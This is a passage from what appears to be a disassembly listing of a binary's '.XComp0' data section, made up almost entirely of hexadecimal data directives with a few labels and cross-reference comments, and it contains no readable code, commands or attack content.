0B95114CAh dd 0FE0C1F0Fh, 2EC9804Bh, 0EC410B07h, 4F500FF1h, 0E98034B7h dd 52BF6BA3h, 6E0E4960h, 33B4D05h, 6859CD01h, 97386F2Dh dd 72C4CB24h, 53594902h, 277ABBh, 2B89CB01h, 83241C8Bh dd 2904C43Bh, 648660Ch, 8B186948h, 108955F8h, 0DDC581E5h dd 0E900FFA0h, 0FB006673h, 0B8B567FFh, 1EFE17F9h, 80C50305h dd 2BEE98E0h, 3FF0C46Ch, 6366590Fh, 0B41F2083h, 7C22FCh dd 0EB35954Ah, 0AD4D55C6h, 0F89B700h, 7506EECEh, 0C5F4AEh dd 8C3EBD5Fh, 88095969h, 0EB4F0F00h, 4187484Ah, 0C7561CC5h dd 541D47A9h, 0A301907Ah, 60009016h, 23B09BD9h, 9E93B7h dd 0DF11EF3Fh, 94F15721h, 6D81E00h, 0A564756Ch, 1C78E8ECh dd 7C04409Dh, 0FD17C701h, 0E82B9438h, 54005D50h, 6009B841h dd 12C3F63h, 0FEDD5F1Dh, 6CBD4B6Ch, 0EC3E000Ah, 5963A610h dd 0F4ED9D01h, 8F601664h, 74B421E9h, 30EA0D12h, 2254BBD5h dd 402358B5h, 89089D8h, 812598B5h, 1CAB3CDBh, 0BD316F0Eh dd 2546224Ah, 66B7F464h, 0AF2D004Dh, 4EFE3E74h, 0CF9F32CAh dd 0D64C439Dh, 1A0EA790h, 0B2ADF630h, 7538313h, 7339E781h dd 25F05CEh, 0FE1AFC92h, 6278F4FBh, 0FC9D5A66h, 2F0A20EAh dd 0F96DC083h, 82DA6CE0h, 12D2FA92h, 0E0F8366Dh, 0C654B2FCh dd 40B553B1h, 976A5F89h, 8D605276h, 475B96h, 9E56DFFAh dd 2F527473h, 6EA2B200h, 0E2019892h, 9AB73561h, 7A0EB13Dh dd 1BC5BE20h, 893A0047h, 57AB6DD9h, 92277204h, 591FD361h dd 5F331814h, 0D249B9F5h, 0ECA0F7A6h, 0F9B7D1FFh, 64A001F7h dd 0D0D430C0h, 12DF2C4h, 3132E160h, 55CC0404h, 5B61050Dh dd 40A23AE8h, 5302B328h, 0D7026A39h, 0F33AA84h, 0E8B88150h dd 0C1502A7Ch, 0D711BD23h, 0AC32BD55h, 292F8C15h, 4E0870E9h dd 82CEF3FBh, 55FE1B06h, 0DB807BB7h, 0F84ACE31h, 0FE955A89h dd 16451721h, 0ACC4746Fh, 0C45482A6h, 3565D7E2h, 0F75BA605h dd 2F64CDBBh, 985062C2h, 3590ECBh, 1AE799BAh, 0EEFCE225h dd 217CED21h, 1F5492D8h, 4EDA5D4Ch, 2C80DE46h, 0B0E651F7h dd 9D417BF9h, 0BCE2DF81h, 2F800530h, 445CBC7h, 5A59222Bh dd 0F5D9B296h, 0EDB879CAh, 10AFB12Ah, 0C2F7076Fh, 42DBB400h dd 0A438C5E2h, 49F301B3h, 44C0B86Fh, 0FC606F1Ch, 0F56AD9B7h dd 80AD9B2Ah, 0C49C56EDh, 0A57F6Ah, 60972A1Fh, 4B9BD29h dd 51009095h, 0D2229507h, 0C5FD1559h, 59E51B01h, 0E0DDF8EAh dd 42FD8D32h, 0BD3A6225h, 71E40127h, 3BB1E12Bh, 0D2F5F80Bh dd 0B3C24E0Dh, 0AC45BAAh, 0D84CC1BAh, 1BFC3F24h, 0A77BC7C0h dd 0B1BC18Bh, 399741BDh, 0A2DF75BCh, 0D7800B2Ah, 5BEB78D8h dd 0BDE6C0F8h, 0D3D6176Dh, 11AEEAE0h, 5A82E9A8h, 9D6C31BBh dd 2F2EE7EDh, 0E24C5385h, 0DB719761h, 1EBF6683h, 200E6534h dd 0E5331685h, 0F821DEF6h, 0C084CE9h, 3D1F488h, 30BD0F77h dd 6F88A4CBh, 8B1AF16Dh, 6003FF8Dh, 0B70A4585h, 96C8F271h dd 0CA85728Fh, 0FE141AA5h, 221510B7h, 6203E451h, 2E8DE123h dd 0B9E79504h, 92ED82E8h, 0AAB7F7FDh, 7E9ED394h, 57BBEABFh dd 7AE060EDh, 5B0AB70Eh, 0AEDAD4F5h, 4604E37Ah, 0C1FC86FEh dd 5DD61h, 970F6EB9h, 8D147FBh, 0F1EC136Fh, 0D781D083h dd 0CA75C602h, 55C02B56h, 3900F737h, 2AB12CFCh, 0BA5D29A9h dd 619424CCh, 0DC624793h, 290BB6C7h, 795F2480h, 0EAF5E5CBh dd 0A5BD3760h, 26CFB515h, 87FAE944h, 0BD0E32BCh, 53A5E7DEh dd 88977822h, 37A68700h, 0F890F7E5h, 0EA095A60h, 14B0EA52h dd 0EBB5B761h, 0C821691h, 0E8DEFEA6h, 0BD63BB60h, 93C3DBAh dd 0F3197996h, 0CDA9B5EDh, 0BC3F23A8h, 79B79397h, 0DCED121Eh dd 0C2AB79B5h, 0BF4E276h, 32577986h, 5900A751h, 82FE842h dd 0C8A2247Ch, 0D23432h, 69DB7110h, 0DC002D2Bh, 0B35497CCh dd 4B5BFC23h, 758AB8h, 8349EFA9h, 0C45233h, 0A04096D0h dd 0B8363580h, 4EC7F12Fh, 4FD69523h, 75E1FF09h, 7B0283B7h dd 57DB75F4h, 772D27D1h, 0D904BA18h, 8C025212h, 5D000BE2h dd 2F299FA2h, 6B0B4803h, 0D1DA8BBBh, 45C425Fh, 0D2088E09h dd 7DEE8ABAh, 61CF11A8h, 454414BDh, 0B706301Fh, 0F660DD25h dd 0BD336161h, 80E73ED1h, 0BAD6A4Ah, 787A1580h, 0EED3BFFEh dd 17801078h, 0A4D21EC5h, 23D5D919h, 0DE8A16B7h, 29091CE3h dd 14F77D95h, 3E868078h, 0BF50028Ah, 56DA6406h, 8960C0E9h dd 0FFFEA21Ch, 6A619918h, 1666BFh, 0ACCA082Dh, 73F31D56h dd 0F6363B00h, 31C0EB71h, 65774C25h, 4FDC1F27h, 90A89070h dd 0D8DA72D6h, 1CBC16E9h, 4489C1F5h, 586EC20Ah, 310BECCCh dd 0DE282DB5h, 0D381E02Fh, 0C3B0C1F8h, 23B6895Eh, 1F301DA2h dd 69590E2Fh, 0C53C3549h, 0BB8B26C9h, 25E92CF4h, 213D028Eh dd 36C7900Eh, 0E24A88F3h, 42037550h, 0EB669821h, 0D579EAFFh dd 8745BED1h, 29EB5C94h, 7EDA6BEDh, 0F800CB8Fh, 707840FEh dd 0D467C72Eh, 6227EE02h, 6B7CDE50h, 1C597773h, 49AC6A19h dd 3CE9B002h, 0D784C5AAh, 0D955A165h, 0F09C3606h, 5DCD65Ch dd 8BD9B7EFh, 0AC9EBDFAh, 39058C18h, 9DB663A2h, 845BA0F8h dd 1F86F97h, 997C1ADh, 0A728D995h, 97C19627h, 1A76D6FAh dd 529103DCh, 0E0A1D80Ah, 0AC5EBDBDh, 0FD0B8C15h, 8433565Fh dd 2D1E19B1h, 0DA0260E7h, 4CDD8A50h, 783220DEh, 91831191h dd 0E8649A57h, 581C2Bh, 8F71D240h, 0C18CBFC4h, 0EA29E5F0h dd 0C02DEC4Bh, 13D2BB17h, 0EE114514h, 31748467h, 0F9DF25ABh dd 0EB30079Eh, 0F31B585Ah, 9CA07064h, 0D4B5EE4Fh, 0E580503Ch dd 0A7904CB9h, 0FBAAB21Eh, 0BE2C3301h, 166FD6B5h, 0B013F7B0h dd 240996FBh, 3A623FF3h, 81108148h, 2B254B1Fh, 57CBAAh dd 0DDB05D52h, 0B37F9A7h, 830F903Eh, 8E3D2DF9h, 12B46050h dd 660A88EFh, 8696BA04h, 11DB9061h, 0E99747C0h, 46040DD9h dd 81A970BAh, 0DDC8F5C1h, 89DAD83Eh, 0EA97BD77h, 2D61DFD2h dd 0A10D4109h, 0A9E66E2Bh, 960D9AD2h, 0CA5A19A9h, 19134EA6h dd 31F0C0F6h, 0CE020EB3h, 63391589h, 0B705FF17h, 0A099BB16h dd 66DE28Bh, 18DDB979h dd 2E29CA57h, 0E33F5F81h, 7F8A5BEFh, 9766322h, 0E7183D2Dh dd 5C50115Ch, 406D8034h, 7BABD1h, 936AA256h, 3326198Dh dd 0E1FFA713h, 759D240Bh, 35F5D1C2h, 80159172h, 0B5297DABh dd 25989C11h, 0CDADD759h, 6018647Dh, 25DF7A34h, 0A9D16DD6h dd 85C5BB81h, 136E39EEh, 9F7BEFEAh, 0ACBDD302h, 0E075F0F3h dd 97113514h, 0E202E8CCh, 0C1196ECBh, 99B0F761h, 2458F5BDh dd 0A9528B2Bh, 5799059Ch, 3E9D2040h, 4F42D8E5h, 0B50DA45Bh dd 8E0F8112h, 83E826D2h, 88D1E617h, 165898AAh, 0B68A9661h dd 0D88B1A05h, 6972DC66h, 12D842FFh, 0DE34DE86h, 8284FB31h dd 0B43C25F1h, 0BF1F9Dh, 7D37CE54h, 4116430Fh, 9DF3C23Ch dd 8D9D2905h, 679BBB1Eh, 2B319C9h, 9EB7B298h, 7B49E22Dh dd 259D0415h, 35DABB04h, 82DCFA91h, 79CEBE57h, 2031E45Dh dd 0E8502DD9h, 3339EE7Ch, 69E00EFh, 5B1DAE6Eh, 127B5FC4h dd 819ABA08h, 9DB0188Bh, 8416EEFEh, 7BF380D5h, 118D2909h dd 475D77A9h, 0D65BAC57h, 139BF29Fh, 4966414Dh, 6D5D019Fh dd 6018C558h, 0CBD160D8h, 0DF26F73Ah, 0B1550908h, 0C761C7BEh dd 5F09D822h, 0BBC4C096h, 5F789FDFh, 0DC4F9Eh, 0BF853A9Bh dd 78B37F55h, 54844B5h, 30176FEEh, 2D8BFE65h, 985DC92Dh dd 0A92DBDC6h, 0CA7E5B80h, 0F1BBA46Fh, 23882F57h, 3BD10270h dd 27FFBD8Ch, 65D5CDFDh, 0EE66018h, 8B2D1B09h, 1369E578h dd 0EF7BEB5Eh, 7F03F400h, 50396C1Ch, 0FBEDBF05h, 9EBB4E15h dd 0EC3AC0DEh, 17807909h, 8831BD33h, 8298D8C6h, 506010EDh dd 61F8245Eh, 1D46DC77h, 4083771Fh, 7AA451E5h, 813FBAFh dd 72D48A0Fh, 0B3FB2BBh, 7951E380h, 0D174ADABh, 4FE5EE2Dh dd 5632A7FBh, 95FEB40Eh, 0DB8CFF42h, 0DE3A00EAh, 4B0A77E6h dd 4001D81h, 87BBA980h, 5F3FA53Bh, 9303A75Bh, 0A91DAC6Bh dd 0D7B00C77h, 0FC5BF8DAh, 0F872DBCDh, 1240AD4Fh, 0D1BADAF1h dd 1A2515C9h, 0BC3B1E45h, 41D39E33h, 8100E6BCh, 38647AE3h dd 0C14D8B31h, 0E217BC67h, 273209A8h, 7E64A057h, 6A830A1Ch dd 0C366C0C0h, 5F5BFh, 0EAF651A7h, 7DE742FEh, 0D6B7FF73h dd 54BBD41Fh, 0B5E29207h, 88BA2E20h, 0E2BB5850h, 0A80FFFCFh dd 146090EFh, 5F2B0BE4h, 1ED1BDh, 1722D79h, 8F2D4134h dd 963BD514h, 51C8BAACh, 0FAF69D5Fh, 0C095EC42h, 43E2D3Fh dd 79CF6D75h, 7431BB9Eh, 0E67F5F57h, 2CB900AFh, 4F49135Ch dd 307A09F7h, 7C85904Eh, 6E3589F9h, 99C03BDBh, 9450FB97h dd 7569ED25h, 1B80E5B7h, 0CD8D01F3h, 847D8212h, 10131FE8h dd 0F20BD9B9h, 2BD8FE2Ah, 0C2DE3625h, 7843F3FEh, 914D9589h dd 9D2B099Eh, 0F5A5625Dh, 6CC4DC4Ch, 0BBBC17B9h, 2BA9019Eh dd 7B6A3C4Ch, 4BF0A9E6h, 2D4B9EE8h, 66828C8h, 9BA3CE88h dd 5A0078BBh, 70B24566h, 1A13E011h, 6E10998Dh, 0C2690F5Ch dd 69F55665h, 21BDED82h, 0E99BD125h, 3AF621C0h, 1497D3D2h dd 0B7544EE2h, 0A5B003BBh, 0F83B38F2h, 12EC209Eh, 0BF026ACFh dd 83009F6Eh, 34FCE1F5h, 0B32C9012h, 680345F9h, 0CD3558CCh dd 2B6AC8Ch, 34B2C1CEh, 64EC4FB8h, 0E1853117h, 22E9E944h dd 0FCEC38EFh, 40382A41h, 83F19C80h, 0DE00F25Bh, 4E550DAEh dd 5C41FD37h, 7B125836h, 4BE1E3B9h, 688263DBh, 94E0C60Ah dd 81882505h, 0BEF27FDBh, 96A74F40h, 2AC12083h, 0AC169E59h dd 0F3BD58CAh, 36E5Ah, 26C4F38h, 26F68296h, 803B625h, 6D250B65h dd 601BC4F8h, 1E75623Bh, 57E2A479h, 40CA30DBh, 0C52C961Fh dd 6080A5D4h, 87B272E4h, 9E9C0B70h, 0E1578D31h, 0AC2F5B80h dd 0E85BAA43h, 9533C722h, 9299D939h, 13FA0901h, 0B5F73192h dd 801A9108h, 5C09E9E7h, 19903ADEh, 0F0599595h, 3605601h dd 2E13419Dh, 0B16C98h, 602B8637h, 61591EDAh, 0FF6A5B16h dd 8EB89EADh, 0BEBBFE02h, 0E125C1D4h, 0F134DD61h, 4B4DEC89h dd 1046CA18h, 0A04A010Ch, 31D3D965h, 85E7CCAFh, 61BB8162h dd 8E02DDB0h, 0E60028B1h, 27575270h, 89579D8Bh, 0E44182B1h dd 0AEC67D71h, 0C9259CB6h, 0DC7BD15Eh, 0AE908485h, 6EE65700h dd 0A1B5294Eh, 0B68DC221h, 4890BAC8h, 0D9C20401h, 0B2ED595h dd 0E82805h, 617D4913h, 83248AAh, 40041A5Fh, 880DE5BAh dd 2B27E2F7h, 0B2D610C8h, 69E3123Dh, 2D75F463h, 7AE98511h dd 0D5CB800Ch, 0F5E5FBCAh, 7B212F01h, 262F1E75h, 4D21126Fh dd 0E62F2Eh, 0A06A510Bh, 0FEC05D8Ah, 5F6267B7h, 5E0C259Ch dd 450A6481h, 31BF39E9h, 2F1B6B77h, 6DBC7434h, 2271884Bh dd 4748FF8Ah, 0B397F98Bh, 0E7480A72h db 67h, 14h, 0A1h byte_524247 db 20h ; DATA XREF: .XComp0:00453064o ; .XComp0:0045307Co ... dd 0ABBB3D64h, 0F64C3392h, 0A25B106Dh, 87965229h, 8323F23Eh dd 0EE275F7Dh, 4E26FCC5h, 0B9DABF96h, 6A1C9892h, 8988D90Ch dd 26F8C01Fh, 84D4CCB9h, 0BC7ADF80h, 5B6E5E23h, 0BB5E2709h dd 3D0877F6h, 0ADFC1321h, 0A6B8A1h, 199B696Bh, 1B037074h dd 81539500h, 0BD5437DFh, 0BD5F5F50h, 0DB80C052h, 48D22BCFh dd 0D25AE09h, 1E97DCC4h, 2951124Ah, 2B8DFFBDh, 800C9A2Ah dd 85A17723h, 829D0B9Ch, 0B5F7F0B7h, 0E6B02D0Fh, 0E0045A83h dd 5C6137C2h, 0BD0BD8F6h, 0EDDE3239h, 1746DEh, 0C220147Fh dd 25F32BBFh, 3BE50BFBh, 950BB068h, 0F44EDC19h, 0C401A20Bh dd 5E0E9239h, 348D4029h, 0D700FF2Dh, 6BBEEA36h, 55E1BD23h dd 292ED120h, 5625DE52h, 0FBD895FBh, 514AC560h, 57E30043h dd 0F00CEA6Ch, 603BD1Dh, 0F5F31FC3h, 75EFB5D1h, 0F6AAEC4h dd 0D099CD03h, 62AFC4D5h, 0E0422E3Ch, 0D9A76D74h, 0C870AF01h dd 14972E90h, 4963800h, 0CF6EAB4Ah, 21D87E2Dh, 441B1497h dd 0C7778085h, 421A9497h, 0FE8B163Fh, 8A79A8A8h, 535FD940h dd 5513C9E6h, 28E914D8h, 1100C7ECh, 0EB768E0Dh, 133A22AFh dd 0AF6D9D23h, 52FE0694h, 0DD7BEEE4h, 16CBCA0Eh, 0F9841240h dd 95B41A6h, 856E31EFh, 0AFE63E8Dh, 4A013A10h, 9FCD2020h dd 158E006Ah, 666312D8h, 100993Ch, 0A64C2711h, 957A0FBEh dd 0D453CFBAh, 7D2CFA53h, 6D5D643Ah, 0E0A340F1h, 37658B5h dd 407E8A24h, 0B320FA27h, 8342CD2h, 90002CA5h, 0BED6BF60h dd 0B730071Eh, 0AB50615Bh, 0F90F55C4h, 5F0126C7h, 0A63B0300h dd 0B1CB48E3h, 0EE0B965Ah, 9061D681h, 0B7F04C66h, 2AE33EB4h dd 108F1FF0h, 4B467CC7h, 2F12BE0h, 0FB726824h, 0BDC21E99h dd 8DFE01F5h, 57E686F8h, 0A9C0126Dh, 2D67F056h, 96D4F34Ah dd 0D94710C9h, 3B437BA2h, 0C216D453h, 80BEACB6h, 639CC33Dh dd 3B501608h, 5FFFC88Bh, 0DC362FE3h, 0DC9201Ch, 0DEC4E92Dh dd 25ED42FBh, 9F27167Dh, 60408B4Dh, 57AD723h, 0FC67210h dd 0F1541087h, 0EFECDE02h, 0B15E6177h, 0D9CDF327h, 0A3312F9Ch dd 0E66EBAB3h, 27E9B47Ch, 0C28D8E84h, 2E5DBD3Eh, 0B309F7DAh dd 0A628F4AEh, 0A900DECDh, 2D6FE43Bh, 4816298h, 0DCE9ECEBh dd 0A4DABB29h, 26C215C8h, 2C5595Dh, 2194847Fh, 6316860h dd 298CF3Ch, 6CD88F55h, 0FB82F7D5h, 5DE94C04h, 0C2152FFAh dd 5B6B0070h, 0A6FEBB96h, 50720FFDh, 0F632DE8Ah, 0DA3E0D1h dd 1DB32FF8h, 8B07A67Bh, 0F24068DEh, 0A0601826h, 95C937B2h dd 0BE6170D4h, 0B42F539Eh, 0F104999Bh, 8DFC1839h, 88AB9AFEh dd 0BF4C017h, 7B41AD2h, 0B5F5BF01h, 0A692602h, 0ABB7A912h dd 41831CDFh, 0A3E0E948h, 8102F8A9h, 3BFF78E7h, 0BDF14C51h dd 0A95F6242h, 70D75B30h, 120938B3h, 0FC9D0983h dword_524550 dd 0EFFE450Bh, 1823B67Bh, 5DDAE900h, 9BBC4C8h, 22F3BE8Eh ; DATA XREF: .XComp0:00452F54o dd 61445871h, 4CD77BBEh, 0E4B0F82h, 709E0B36h, 232E2F6Bh dd 9BF73A12h, 5E45DBF2h, 0BC60A914h, 476500AEh, 8395C814h dd 0FA90809Fh, 82BC714Fh, 2FDFD4EEh, 12A65CFFh, 8435F331h dd 0DEEE045Eh, 76EF805Eh, 76D88B1Ah, 2BB20A81h, 5BFD38DDh dd 8506A8E5h, 2AEA8927h, 0EB9980FEh, 9AE16F68h, 0B2094E17h dd 8FA04ECDh, 43BA971Eh, 55AD10FDh, 1643006Eh, 494A65B3h dd 7A00E5D0h, 0AB380206h, 0C9A43070h, 0B2DEFA58h, 0FAFC79A6h dd 53090436h, 0BCA02CBDh, 880FC423h, 0FB2F91F3h, 0D14C69F2h dd 2F721370h, 0B702C1F8h, 961031E7h, 93E0D14Dh, 4E6BB505h dd 0B2DDB696h, 2EBB3114h, 0B71EC2E3h, 0DEA5390Dh, 0B5E84BE6h dd 4EBF25E6h, 0E9C0B5DDh, 73B70A45h, 23BA62Ah, 6B4B9B37h dd 0ACAB8275h, 535FD1Dh, 4E811B91h, 0C038E119h, 184FEE0Ah dd 0C2C82813h, 0CF0C0157h, 0B3E738CEh, 0D5A08BE4h, 701BF405h dd 0F7068160h, 46921B5Ah, 61F125F8h, 9B16E944h, 0DCEB348Eh dd 50613190h, 5B56DAD7h, 7939B82Bh, 3382DB05h, 6BEF31ADh dd 1CD47F0h, 7FFBBBB5h, 0E66E3105h, 0D4D8B50Ah, 96A900B5h dd 5886D2DFh, 0D39D6A7Ah, 8B7B78F8h, 0D625DE97h, 0F9004986h dd 0B843F847h, 9098C174h, 387BB7FDh, 73B3D43Fh, 119A7AF9h dd 30C215C8h, 80D7647h, 50172031h, 962EA2BDh, 79EF0C05h dd 0D9418B14h, 50D6E2Bh, 0A011B041h, 65C384EAh, 871A094h dd 0A78BE59Dh, 3802A335h, 5D26CAFAh, 0FC27DDEDh, 0F907DC8Eh dd 0CCDB8E98h, 82ABE8F5h, 0E40F265Ch, 21BCDF8Bh, 1512293Eh dd 0A829EF27h, 5CF631F1h, 364C03Fh, 0E025126Fh, 5CD0C60Ah dd 855A630Bh, 0C9292A5Dh, 9DE65FE8h, 21402896h, 0B9631Bh dd 94F7B62h, 1710C54Ah, 0E8049997h, 0BEC75741h, 4AEFD7C4h dd 0FF168277h, 0CA5ADD5Ch, 51735D82h, 0CAB270h, 0ED502A6Eh dd 6BBB776Dh, 4050789Fh, 2BE78B20h, 88DFF4B8h, 1CEA2B41h dd 4A0D7BD6h, 0A1D7A00Bh, 0C4F6124Eh, 7AB76AD7h, 0D710050Ch dd 0E1B96060h, 22953101h, 0BC612617h, 0E3B1D207h, 0E8600A97h dd 7E65B46Ch, 62E9250Dh, 9B4D30E2h, 7D0179E2h, 8B2F3864h dd 2F0853C1h, 0DD2DC5D9h, 0AD80FA3Fh, 0A44EB018h, 316006F9h dd 79123585h, 218D9D1Ah, 0F6D975F1h, 8044FF0Bh, 993459DBh dd 0E0FE4A89h, 3246555h, 70DE7C90h, 0F8B501C9h, 0ADA26B41h dd 0EAE82A8Bh, 87CD959Dh, 14CB8101h, 0AD1274F1h, 706E5B6Ah dd 5002BC1h, 0AFED2ADDh, 0A124D6B4h, 57C60DACh, 2E12DF4Ch dd 8AAB451Eh, 23D3012Ah, 25A8A0D8h, 0F5A887B2h, 13CAD829h dd 7AFE3B6Bh, 0D70C508Fh, 7AAA755Eh, 716B1D9Ch, 0AA581640h dd 12AC76E9h, 82B19501h, 70665041h, 3CBBCA02h, 77A5AA9Ch dd 0DDD25E53h, 0D82FA5D3h, 170D20DFh, 51950908h, 2B62B32Ah dd 6E1125F9h, 42E00DA7h, 8A2FCEF3h, 0AF1B55D9h, 5BED258Ch dd 51878B8h, 0E1C4150Ch, 0B7449526h, 9FD1FF29h, 220B2480h dd 97344AFEh, 7A4B5394h, 0C8C44CB9h, 0E3D9ABA5h, 0BF2FE06Eh dd 7E90FF25h, 0BE5065DBh, 0C25F3333h, 0E0064D90h, 0A0CF9E3Ah dd 0AD403904h, 2EA01085h, 8760820Ch, 0BA9F095Dh, 0BF5977C3h dd 2344527h, 794AF562h, 420D249h, 280D1BEh, 0DDE2020Ch dd 751252E7h, 830F8F44h, 0DF7B8CABh, 72AD42F6h, 0C848FE63h dd 1B0A13C7h, 5236F01Fh, 2F4BB7E1h, 6AAF9674h, 0B90070D2h dd 0D5A73991h, 97505E41h, 5A971910h, 92928C3Dh, 0A15749B8h dd 1387F29Bh, 483AF07Ah, 504A83B8h, 24DB6BEFh, 68C1CB16h dd 0DB2B6B8Eh, 0C91C887Ch, 5C3C5FFh, 0BA253595h, 395DC7D8h dd 0B93E0666h, 95855462h, 8078FBDDh, 0F2A29ABBh, 6A7DF578h dd 0B5E68A7Bh, 0D717713Ah, 0C8FBA5D4h, 0F24595Dh, 0A98902EFh dd 11377B1Ch, 870F1B03h, 0B0FC810Bh, 31538C2Fh, 22EC6C5Ah dd 48EC4B80h, 230B79AAh, 8270E63Eh, 21FE50Ch, 0C1D571E4h dd 742FB64Bh, 0C3B3EB2Eh, 1459BD09h, 0FC692879h, 160913B4h dd 0A789FF22h, 1F2E3B25h, 0BE8DD214h, 0C82BF3C1h, 56F15750h dd 71C0788h, 43C3AEDCh, 57A0FECDh, 0D1588B4Ch, 0BC0676A0h dd 83E90CD4h, 0FB4C537h, 4D6C2C3h, 0BD42235Eh, 63B71825h dd 0B50AD7h, 405EE76Eh, 0D4119F2h, 0C4759DD8h, 0F24FE9A3h dd 0E6DA252Ah, 251CB016h, 17E4B6A0h, 13313944h, 0EE2EF5B5h dd 5500FCCh, 8D1147D8h, 7D6DAABFh, 0BF30702Eh, 5590D470h dd 247A0454h, 2ED8784Bh, 0FAB14127h, 5E619940h, 0BB98C097h dd 74A21324h, 1512FA69h, 98BB0F85h, 78FFB92Dh, 7C292D6Bh dd 0FCDA4CBAh, 5BF8571Dh, 0CB6BCD25h, 0BACCA7F4h, 1C22E10h dd 0C02B62D1h, 0E3FBCED8h, 14CAFBC5h, 14EB8180h, 305015D9h dd 0CD4BF9C3h, 0B7CF8DBCh, 39E6F529h, 1A97DAF2h, 3B7E469Dh dd 0C884D4E3h, 0B8457B50h, 0B06BAD85h, 0BB801311h, 0D5A812C0h dd 8852E214h, 4564A750h, 8072453Bh, 0F619BDEEh, 4AE73B22h dd 3831EE1Ch, 8003184Dh, 525C70F2h, 911586Ah, 0D077344Fh dd 72F380BDh, 0CEB4E1E8h, 5E76FB40h, 942E07F4h, 283793h dd 3BBCA79Ah, 6AE0904h, 49B85FFEh, 292247A2h, 94BFDB5h dd 0D2398DB1h, 1AE367DDh, 37DD3249h, 0F59C8091h, 386BC764h dd 6B541497h, 8A724FE5h, 77012D20h, 0B58D7861h, 0FC6BC8FCh dd 0D113D4F8h, 5004FC7Eh, 66ADD98Ch, 0DF00A8B8h, 0B1DB9F4h dd 9704999Dh, 7A826712h, 3A5C6D83h, 0DEEB7B97h, 803F8B52h dd 7540BE6h, 0E3775FC4h, 256348BEh, 0EDBB5F75h, 0DA7DB5E1h dd 0C9A23A57h, 0DC7F0AD7h, 950B0966h, 8057994Ah, 2AB6BC94h dd 6E905F65h, 289D0037h, 0B33F6F46h, 0DE8A353Ch, 9299A891h dd 0BD8236DBh, 6D7DDE8Bh, 310F0912h, 8741D95Eh, 45DC1EE6h dd 183C01D7h, 0AEBF9649h, 75B53A1Ch, 66613042h, 0DFBA00D8h dd 0F222B716h, 370002FFh, 268AFB21h, 3D60A5AEh, 0A227BD94h dd 0FEF824FFh, 4F2931ABh, 850F01C9h, 0DACB4D78h, 0E45D014Ah dd 88E1000Fh, 0E6B1B0A1h, 23028E10h, 63645125h, 0BE30FDD0h dd 584E5FDEh, 0A9E222A6h, 64E54D7Dh, 0EBE26016h, 0DF80121Bh dd 0A9C00E23h, 8975EF13h, 74382BBh, 7889E904h, 0AD04847Ah dd 8C18AC7Bh, 0D9520602h, 0E8FC23A0h, 2576898Fh, 74C6EEB3h dd 75588B95h, 68AD533Dh, 0E5169B16h, 5DD8DD42h, 0BD1007ECh dd 0E9626A1h, 0ED77AD6Dh, 8C16BC79h, 8AC8F302h, 5C28DB80h dd 0E781001Bh, 4AB031D2h, 95B8965Eh, 0ACEF1C0h, 79483B4Ch dd 505F1762h, 4167C8EBh, 95ADD000h, 1F592D16h, 5FAC00C9h dd 7C6E445Ah, 1E1FEF28h, 77ADA854h, 5050AA19h, 1D911532h dd 290E1415h, 0DCD82F2Dh, 143FD023h, 0CC6D6007h, 0E3F0BB36h dd 285F58A5h, 12DC965Bh, 0C9CD92CBh, 0B7A43FD1h, 9FE3004Bh dd 0FFFA6720h, 41BDE45Ah, 2E0911D6h, 0BB0018E6h, 66E6D141h dd 6127E68h, 34AB91C9h, 0DA2AB6Bh, 0C2B46B04h, 0E2D68343h dd 8E7D5FE2h, 55FD6209h, 12DA766Eh, 0F1D8BA2Bh, 0C170E351h dd 0D4074B25h, 8009AEF7h, 609862DEh, 971EE990h, 614BEC4Eh dd 5E4E58F4h, 0B2B7E7F8h, 0F63A3018h, 0D7DE8D12h, 0FC9212B2h dd 21DB5BF2h, 0C02F4DC5h, 0E947E7ABh, 771A4169h, 0A6C0DBEDh dd 95A1198Eh, 0EA55DA62h, 984DFDE0h, 0C0D09E7Ch, 4F628587h dd 6C359602h, 0D6BDE8C0h, 0F7424F59h, 0E857F9E0h, 9D5BF85Ch dd 0E9845FE4h, 6B4A8F00h dd 8C3FA23Dh, 0E7B71241h, 8839E218h, 0CCB5695Dh, 27C1DD83h dd 5EC0B47Ch, 9806056h, 0F28B76C4h, 63F52289h, 318BD486h dd 47B2034h, 181E89EBh, 0BE10590Ch, 8509E127h, 8CB77EE1h dd 8042A9A4h, 0FEEB1710h, 0A8AF2551h, 6FBFD75Ah, 4EE060CAh dd 844FA114h, 8B130BB9h, 33DABADFh, 79D5D897h, 0BD9D3115h dd 0F960B89h, 1EE27382h, 1637ED50h, 8FA0D52Dh, 9AE7196Ch dd 0AC6FB9AAh, 7E2DCDC0h, 0D5CA586Dh, 488DB64Ah, 1E75127Eh dd 0B05842E7h, 0C18147C0h, 1900DF63h, 0A5D95120h, 0BF3F8D91h dd 3AAC775Bh, 0A6EE2ED6h, 81BD041Dh, 8E2DAE2Eh, 2DA8B439h dd 6BA9FCBDh, 0C44AD902h, 77F6BA75h, 0FC076FB5h, 9A50A1A8h dd 25635D57h, 79C2351Bh, 263755h, 15BE0C18h, 0C4A39588h dd 58090BD2h, 0DC7FBE7Bh, 42E47001h, 0CCA2D8C5h, 97CA61F8h dd 0FC669A1Ah, 910BBCF4h, 0E1D0E5C6h, 0FB0420E0h, 23B1799h dd 0FC3CE475h, 242E17Eh, 0BFB9F518h, 805038D8h, 8B586D34h dd 85D60027h, 49C6ED0Bh, 0E0E272A4h, 2541AA12h, 5B319FC1h dd 6B42752Eh, 965E17C9h, 3F63830h, 0FBFC5B41h, 0EECFEF42h dd 0C8E65F4Bh, 0CF67C528h, 725DB400h, 0C36345D1h, 76A202AAh dd 5F501A77h, 90D906EAh, 0EE434600h, 12D66AB7h, 4F64F42h dd 40058FFEh, 0ACAA08BBh, 0B08EAC28h, 0EEF562F5h, 35F75D47h dd 851591DBh, 0B2C05DF3h, 4BA84756h, 27548A65h, 0ADAE731Fh dd 2E4B8075h, 62CDBh, 0CB444D5Ch, 0C21B7A38h, 5A96F026h dd 0D7BD890Bh, 825EC742h, 45561755h, 0EE4B9291h, 0DAFACA75h dd 0F7978009h, 46A2ED2h, 0FD8B5E77h, 255C824Dh, 55B7DC2Bh dd 18AA5100h, 31F2FC77h, 955EF9C9h, 39E80424h, 0E361D612h dd 8E9116Eh, 0ED030200h, 6F9639EEh, 6B8A8F4Bh, 604E4722h dd 0B91AED64h db 65h, 89h, 0A3h byte_524F4B db 89h ; DATA XREF: .XComp0:004530D4o ; .XComp0:004530E4o db 0D1h, 5Bh word_524F4E dw 0F4Fh ; DATA XREF: .XComp0:0045323Co ; .XComp0:00453244o dd 0D6D1D9B5h, 45A08FA6h, 0D09F8C33h, 0B5369058h, 